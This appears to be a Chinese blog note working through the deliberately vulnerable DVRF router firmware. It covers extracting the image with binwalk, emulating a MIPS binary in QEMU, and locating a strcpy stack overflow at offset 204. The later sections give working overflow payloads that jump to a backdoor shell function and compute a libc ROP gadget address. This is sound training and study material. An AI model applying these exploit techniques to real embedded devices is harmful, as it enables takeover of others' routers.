这篇笔记是第一次固件分析的记录。
1. 环境
QEMU环境请参考另一篇博客:https://blog.youkuaiyun.com/Ga4ra/article/details/123959989
下载DVRF:ttps://github.com/praetorian-inc/DVRF。可以从gitee上搜一下,有很多镜像。
2. 提取固件
目录:
starr@starr-VirtualBox:~/Documents/iot/DVRF-master$ tree
.
├── Firmware
│ ├── DVRF_v03.bin
│ └── FW_LICENSE_E1550_v1.0.03.002.html
├── gdb
│ ├── gdb binaries
│ │ └── mips-i
│ │ ├── Big Endian
│ │ │ ├── gdb
│ │ │ └── gdbserver
│ │ └── Little Endian
│ │ ├── gdb
│ │ └── gdbserver
│ └── gdb_static_mipsle-be.tar
├── Pwnable Source
│ ├── Intro
│ │ ├── heap_overflow_01.c
│ │ ├── stack_bof_01.c
│ │ └── uaf_01.c
│ └── ShellCode_Required
│ ├── socket_bof.c
│ ├── socket_cmd.c
│ └── stack_bof_02.c
├── README.md
└── Source Code
├── clean.sh
├── DVRF_v03_source.tar.001
├── DVRF_v03_source.tar.002
├── DVRF_v03_source.tar.003
├── DVRF_v03_source.tar.004
├── DVRF_v03_source.tar.005
├── DVRF_v03_source.tar.006
├── DVRF_v03_source.tar.007
├── DVRF_v03_source.tar.008
├── DVRF_v03_source.tar.009
├── DVRF_v03_source.tar.010
├── DVRF_v03_source.tar.011
├── DVRF_v03_source.tar.012
└── merge_and_extract.sh
10 directories, 28 files
扫描一下固件:
$ binwalk DVRF_v03.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 BIN-Header, board ID: 1550, hardware version: 4702, firmware version: 1.0.0, build date: 2012-02-08
32 0x20 TRX firmware header, little endian, image size: 7753728 bytes, CRC32: 0x436822F6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x192708, rootfs offset: 0x0
60 0x3C gzip compressed data, maximum compression, has original file name: "piggy", from Unix, last modified: 2016-03-09 08:08:31
1648424 0x192728 Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6099215 bytes, 447 inodes, blocksize: 65536 bytes, created: 2016-03-10 04:34:22
文件系统是squashfs,开始提取:
$ binwalk -Me DVRF_v03.bin
...
$ ll -h
total 9.6M
drwxrwxr-x 3 starr starr 4.0K 4月 5 14:41 ./
drwxrwxr-x 3 starr starr 4.0K 4月 5 14:41 ../
-rw-rw-r-- 1 starr starr 5.9M 4月 5 14:41 192728.squashfs
-rw-rw-r-- 1 starr starr 3.7M 4月 5 14:41 piggy
drwxr-xr-x 14 starr starr 4.0K 3月 10 2016 squashfs-root/
$ ll -h squashfs-root/
total 56K
drwxr-xr-x 14 starr starr 4.0K 3月 10 2016 ./
drwxrwxr-x 3 starr starr 4.0K 4月 5 14:41 ../
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 bin/
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 dev/
drwxr-xr-x 3 starr starr 4.0K 4月 5 14:41 etc/
drwxr-xr-x 3 starr starr 4.0K 3月 10 2016 lib/
lrwxrwxrwx 1 starr starr 9 4月 5 14:41 media -> tmp/media
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 mnt/
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 proc/
drwxr-xr-x 4 starr starr 4.0K 3月 10 2016 pwnable/
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 sbin/
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 sys/
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 tmp/
drwxr-xr-x 6 starr starr 4.0K 3月 10 2016 usr/
lrwxrwxrwx 1 starr starr 7 4月 5 14:41 var -> tmp/var
drwxr-xr-x 2 starr starr 4.0K 3月 10 2016 www/
注意到有www目录:
$ ll www
total 12
-rw-r--r-- 1 starr starr 1308 3月 10 2016 index.asp
是asp脚本,就不搭环境访问了。
有漏洞的程序在pwnable目录下:
$ tree pwnable/
pwnable/
├── Intro
│ ├── heap_overflow_01
│ ├── README
│ ├── stack_bof_01
│ └── uaf_01
└── ShellCode_Required
├── README
├── socket_bof
├── socket_cmd
└── stack_bof_02
先拿Intro/stack_bof_01练手。
3. stack_bof_01小练
需要将qemu放在squashfs-root文件夹下。使用chroot指定当前文件夹为根目录运行相关的命令:
$ cp $(which qemu-mipsel-static) ./
$ sudo chroot ./ ./qemu-mipsel-static /bin/busybox
BusyBox v1.7.2 (2016-03-09 22:33:37 CST) multi-call binary
...
因为qemu-mipsel-static是静态编译的,所以只拷贝它就行了,如果是qemu-mipsel,就得把ldd依赖的库拷过来。
不用chroot的话会报错:
$ qemu-mipsel-static bin/busybox
/lib/ld-uClibc.so.0: No such file or directory
uClibc是一个用于嵌入式的小型c标准库(u是微小的意思)。还有一个eglibc,是glibc的嵌入式版本。
uClibc下载地址:https://www.uclibc.org/downloads/binaries/0.9.30.1/。当然也可以用buildroot编译。
信息收集
$ program=pwnable/Intro/stack_bof_01
$ file $program
pwnable/Intro/stack_bof_01: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
$ ldd $program
not a dynamic executable
$ checksec $program
Arch: mips64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
$ mipsel-linux-gnu-readelf -h $program
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400630
Start of program headers: 52 (bytes into file)
Start of section headers: 3900 (bytes into file)
Flags: 0x50001007, noreorder, pic, cpic, o32, mips32
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 6
Size of section headers: 40 (bytes)
Number of section headers: 29
Section header string table index: 26
一个32位mips程序(checksec有bug???),小端序(LSB),没有什么保护。
黑盒测试
$ sudo chroot ./ ./qemu-mipsel-static pwnable/Intro/stack_bof_01
Usage: stack_bof_01 <argument>
-By b1ack0wl
starr@starr-VirtualBox:~/Documents/iot/DVRF-master/Firmware/_DVRF_v03.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-mipsel-static pwnable/Intro/stack_bof_01 111111111
Welcome to the first BoF exercise!
You entered 111111111
Try Again
$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 `cyclic 1000`
...
Segmentation fault
$ sudo gdb-multiarch ./pwnable/Intro/stack_bof_01 ./qemu_stack_bof_01_20220406-014557_4998.core -q
Reading symbols from ./pwnable/Intro/stack_bof_01...(no debugging symbols found)...done.
BFD: warning: /home/starr/Documents/iot/DVRF-master/Firmware/_DVRF_v03.bin.extracted/squashfs-root/./qemu_stack_bof_01_20220406-014557_4998.core is truncated: expected core file size >= 2155917312, found: 45056
[New LWP 4998]
Core was generated by `haaeiaae'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x63616162 in ?? ()
$ cyclic -l 0x63616162
204
程序把argv[1]存到缓冲区,在偏移204的地方覆盖了返回地址。
反汇编
$ mipsel-linux-gnu-objdump -M mipsel -d ./stack_bof_01
./stack_bof_01: file format elf32-tradlittlemips
...
004007e0 <main>:
...
00400950 <dat_shell>:
...
objdump这个可读性太差了,所以还是用ida吧:
text:004007E0 05 00 1C 3C+ li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:004007E0 F0 84 9C 27
.text:004007E8 21 E0 99 03 addu $gp, $t9
.text:004007EC 18 FF BD 27 addiu $sp, -0xE8 # 开辟栈
.text:004007F0 E4 00 BF AF sw $ra, 0xE0+var_s4($sp)
.text:004007F4 E0 00 BE AF sw $fp, 0xE0+var_s0($sp) # 备份寄存器
.text:004007F8 21 F0 A0 03 move $fp, $sp
.text:004007FC 10 00 BC AF sw $gp, 0xE0+var_D0($sp)
.text:00400800 E8 00 C4 AF sw $a0, 0xE0+arg_0($fp)
.text:00400804 EC 00 C5 AF sw $a1, 0xE0+arg_4($fp)
.text:00400808 1C 80 82 8F li $v0, dword_400000
.text:0040080C 00 00 00 00 nop
.text:00400810 88 0B 42 94 lhu $v0, (word_400B88 - 0x400000)($v0)
.text:00400814 00 00 00 00 nop
.text:00400818 18 00 C2 A7 sh $v0, 0xE0+var_C8_buf($fp)
.text:0040081C 1A 00 C2 27 addiu $v0, $fp, 0xE0+var_C6
.text:00400820 C6 00 03 24 li $v1, 0xC6
.text:00400824 21 20 40 00 move $a0, $v0 # s
.text:00400828 21 28 00 00 move $a1, $zero # c
.text:0040082C 21 30 60 00 move $a2, $v1 # n
.text:00400830 40 80 99 8F la $t9, memset
.text:00400834 00 00 00 00 nop
.text:00400838 09 F8 20 03 jalr $t9 ; memset
.text:0040083C 00 00 00 00 nop
.text:00400840 10 00 DC 8F lw $gp, 0xE0+var_D0($fp)
.text:00400844 E8 00 C2 8F lw $v0, 0xE0+arg_0($fp) # $v0 = argc
.text:00400848 00 00 00 00 nop
.text:0040084C 02 00 42 28 slti $v0, 2 # $v0 = ($v0 < 2) ? 1 : 0
.text:00400850 0E 00 40 10 beqz $v0, loc_40088C # if ($v0 != 0) puts(); exit(1)
.text:00400854 00 00 00 00 nop
.text:00400858 1C 80 82 8F li $v0, dword_400000
.text:0040085C 00 00 00 00 nop
.text:00400860 10 0B 44 24 addiu $a0, $v0, (aUsageStackBof0 - 0x400000) # "Usage: stack_bof_01 <argument>\r\n-By b"...
.text:00400864 54 80 99 8F la $t9, puts
.text:00400868 00 00 00 00 nop
.text:0040086C 09 F8 20 03 jalr $t9 ; puts
.text:00400870 00 00 00 00 nop
.text:00400874 10 00 DC 8F lw $gp, 0xE0+var_D0($fp)
.text:00400878 01 00 04 24 li $a0, 1 # status
.text:0040087C 34 80 99 8F la $t9, exit
.text:00400880 00 00 00 00 nop
.text:00400884 09 F8 20 03 jalr $t9 ; exit
.text:00400888 00 00 00 00 nop
.text:0040088C # ---------------------------------------------------------------------------
.text:0040088C
.text:0040088C loc_40088C: # CODE XREF: main+70↑j
.text:0040088C 1C 80 82 8F li $v0, dword_400000
.text:00400890 00 00 00 00 nop
.text:00400894 40 0B 44 24 addiu $a0, $v0, (aWelcomeToTheFi - 0x400000) # "Welcome to the first BoF exercise!\r\n"...
.text:00400898 54 80 99 8F la $t9, puts
.text:0040089C 00 00 00 00 nop
.text:004008A0 09 F8 20 03 jalr $t9 ; puts
.text:004008A4 00 00 00 00 nop
.text:004008A8 10 00 DC 8F lw $gp, 0xE0+var_D0($fp)
.text:004008AC EC 00 C2 8F lw $v0, 0xE0+arg_4($fp) # $v0 = args
.text:004008B0 00 00 00 00 nop
.text:004008B4 04 00 42 24 addiu $v0, 4
.text:004008B8 00 00 42 8C lw $v0, 0($v0) # $v0 = args[1]
.text:004008BC 00 00 00 00 nop
.text:004008C0 21 18 40 00 move $v1, $v0 # $v1 = $v0 = args[1]
.text:004008C4 18 00 C2 27 addiu $v0, $fp, 0xE0+var_C8_buf # !!!!!!!!!!!!!!!!!!!!!!!!!!!
.text:004008C8 21 20 40 00 move $a0, $v0 # dest
.text:004008CC 21 28 60 00 move $a1, $v1 # src
.text:004008D0 60 80 99 8F la $t9, strcpy
.text:004008D4 00 00 00 00 nop
.text:004008D8 09 F8 20 03 jalr $t9 ; strcpy # strcpy(buf, args[1])
.text:004008DC 00 00 00 00 nop
.text:004008E0 10 00 DC 8F lw $gp, 0xE0+var_D0($fp)
.text:004008E4 00 00 00 00 nop
.text:004008E8 1C 80 82 8F li $v0, dword_400000
.text:004008EC 00 00 00 00 nop
.text:004008F0 68 0B 44 24 addiu $a0, $v0, (aYouEnteredS - 0x400000) # "You entered %s \r\n"
.text:004008F4 18 00 C2 27 addiu $v0, $fp, 0xE0+var_C8_buf
.text:004008F8 21 28 40 00 move $a1, $v0
.text:004008FC 5C 80 99 8F la $t9, printf
.text:00400900 00 00 00 00 nop
.text:00400904 09 F8 20 03 jalr $t9 ; printf
.text:00400908 00 00 00 00 nop
.text:0040090C 10 00 DC 8F lw $gp, 0xE0+var_D0($fp)
.text:00400910 00 00 00 00 nop
.text:00400914 1C 80 82 8F li $v0, dword_400000
.text:00400918 00 00 00 00 nop
.text:0040091C 7C 0B 44 24 addiu $a0, $v0, (aTryAgain - 0x400000) # "Try Again\r"
.text:00400920 54 80 99 8F la $t9, puts
.text:00400924 00 00 00 00 nop
.text:00400928 09 F8 20 03 jalr $t9 ; puts
.text:0040092C 00 00 00 00 nop
.text:00400930 10 00 DC 8F lw $gp, 0xE0+var_D0($fp)
.text:00400934 41 00 02 24 li $v0, 0x41 # 'A'
.text:00400938 21 E8 C0 03 move $sp, $fp
.text:0040093C E4 00 BF 8F lw $ra, 0xE0+var_s4($sp) # !!!!!!!!!!!!!!!!!!!
.text:00400940 E0 00 BE 8F lw $fp, 0xE0+var_s0($sp)
.text:00400944 E8 00 BD 27 addiu $sp, 0xE8 # 恢复栈
.text:00400948 08 00 E0 03 jr $ra
.text:0040094C 00 00 00 00 nop
.text:0040094C # End of function main
是调用strcpy导致的溢出。buf存储在$fp+0xE0+var_C8_buf
, 返回地址存储在0xE0+var_s4($sp) == $fp + 4 + 0xe0
,差值0xe4-(0xe0-0xc8) == 204
,和崩溃获取的偏移一样。
调试一下吧,开启gdbserver监听:
$ sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaabbbbccccdddd
新开终端, 用题目提供的gdb/gdb binaries/mips-i/·Big Endian/gdb
会报错,gdb-multiarch可以用,但pwndbg和gef不给力,貌似在ubuntu 18.04上就会这样:
$ ./qemu-mipsel-static ./gdb pwnable/Intro/stack_bof_01
: can't handle reloc type 0x2f
$ gdb-multiarch ./pwnable/Intro/stack_bof_01
pwndbg> target remote localhost:1234
...
Python Exception <class 'gdb.error'> Remote connection closed:
Segmentation fault (core dumped)
没有插件的gdb太难用了,,还是用IDA远程调试吧,回头再用qemu system试试。
过程就不截图了,反正栈地址里的返回地址和buf差值确实是204。
README里写着,程序自带后门,其实就是dat_shell函数,它会执行system("/bin/sh -c")
,所以输入204个字符后面跟上00400950 <dat_shell>
就是payload。
payload
sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 ` python2 -c 'print("a"*204 + "\x50\x09\x40\x00")'`
...
Try Again
Segmentation fault
没有成功,调试一下:
sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 `python -c 'print(b"a"*204 + b"\x50\x09\x40\x00")'`
发现是\x09变成了\x00,,,第一反应是被截断了:
7FFFF410 61616161 aaaa
7FFFF414 7F710050 P.q.
换种写法,加上双引号就不会截断了:
sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python2 -c 'print("a"*204 + "\x50\x09\x40\x00")')"
成功执行到dat_shell,但在地址0x00400970发生了段错误:
.text:00400950 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00400958 addu $gp, $t9
.text:0040095C addiu $sp, -0x20
.text:00400960 sw $ra, 0x18+var_s4($sp)
.text:00400964 sw $fp, 0x18+var_s0($sp)
.text:00400968 move $fp, $sp
.text:0040096C sw $gp, 0x18+var_8($sp)
.text:00400970 li $v0, dword_400000 # segmentation fault
...
.text:0040099C addiu $a0, $v0, (aBinShC - 0x400000) # "/bin/sh -c"
.text:004009A0 la $t9, _system
.text:004009A4 nop
.text:004009A8 jalr $t9 ; system
.text:004009AC nop
.text:004009B0 lw $gp, 0x18+var_8($fp)
.text:004009B4 move $a0, $zero # status
.text:004009B8 la $t9, _exit
.text:004009BC nop
.text:004009C0 jalr $t9 ; exit
.text:004009C4 nop
在MIPS中,函数内部会通过 t 9 寄 存 器 和 t9寄存器和 t9寄存器和gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,
如果在执行00400958 addu $gp, $t9
是手动把$t9改成0x00400950,后面就正常了。
有一种作弊的方法,直接跳到0x0040095C
,但我测试并没有getshell。
所以现在需要找一个gadget,通过t9跳转过去,这也是mips常规的用法,比如main开头调用memet。
一般是从libc.so里找。用IDA打开固件里的lib/libc.so,执行以下python命令:
mipsrop = mipsrop.MIPSROPFinder()
mipsrop.find("lw")
mipsrop.find("jalr")
没有找到有用的gadget,不知道网上的wp到底是怎么找到6B20处的gadget的。。。
.text:00006B20 lw $t9, arg_0($sp)
.text:00006B24 jalr $t9
然后需要确定libc.so的基址,主程序调用过memset,可以用ida执行一次memset,填充got后获取地址,减去它在libc.so里的偏移:
.text:00400830 la $t9, unk_7F700E10
.text:00400834 nop
.text:00400838 jalr $t9 ; memset
libc.so里的偏移:
text:0001BE10 memset:
.text:0001BE10
.text:0001BE10 slti $t1, $a2, 8
所以libc.so基址是0x7F700E10 - 0x0001BE10 == 0x7f6e5000
gadget基址就是0x7f6e5000 + 0x6B20 == 0x7f6ebb20
$ sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python2 -c 'print("a"*204 + "\x20\xbb\x6e\x7f\x50\x09\x40\x00")')"
...
Congrats! I will now execute /bin/sh
- b1ack0wl
还是没有返回shell,,写了个程序执行system("/bin/sh -c")
,也应该返回一个缺少参数的提示。猜测可能和qemu有关。